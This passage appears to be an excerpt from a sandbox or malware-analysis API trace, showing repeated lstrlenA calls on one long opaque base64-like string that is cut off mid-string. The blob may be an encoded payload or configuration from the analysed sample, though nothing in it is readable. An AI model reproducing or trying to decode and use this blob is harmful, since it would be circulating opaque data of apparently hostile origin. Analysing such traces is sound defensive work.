(lpString="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") returned 5792 [0163.809] lstrlenA (lpString="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") returned 5792 [0163.809] lstrlenA (lpString="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